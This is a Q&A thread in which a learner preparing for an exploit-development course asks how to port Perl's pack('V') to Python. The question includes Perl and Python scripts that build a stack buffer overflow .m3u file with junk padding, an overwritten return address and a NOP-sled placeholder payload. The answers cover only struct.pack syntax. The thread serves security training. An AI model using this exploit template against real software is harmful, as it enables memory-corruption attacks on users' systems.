Perl's Pack('V') function in Python?

Question

I've been working on some exploit development recently to get ready for a training course, and I've run into a problem with a tutorial. I've been following along with all the tutorials I can find, using Python as opposed to the language the tutorials used, out of preference. I'm trying to crosscode everything, but I can't figure out how to crosscode Perl's Pack() function.

TL;DR: I'm trying to translate this to python:

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";

I've found Python's struct.pack() function, but when I use

Fuzzed.write(struct.pack('V', 0x773D10A4))

, it stops the program and doesn't work. What am I doing wrong?

This is my entire source code

import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)

Answer 1

Try using the "L<" pack template instead of "V". This should work in Perl and Python both. N and V are an older Perl method of specifying endianness, and < and > are the newer method. It looks like when Python borrowed pack from Perl it only took the newer, more flexible interface.

Edit: Python wants the < before the type specifier, while Perl wants it after. Not quite so compatible :(

Answer 2

Python's struct.pack uses the first character for the endianess/size variation, and then one or more for the data type. Perl's V means 32bit unsigned int/little-endian.

The Python analogue is struct.pack('<I', 0x773D10A4).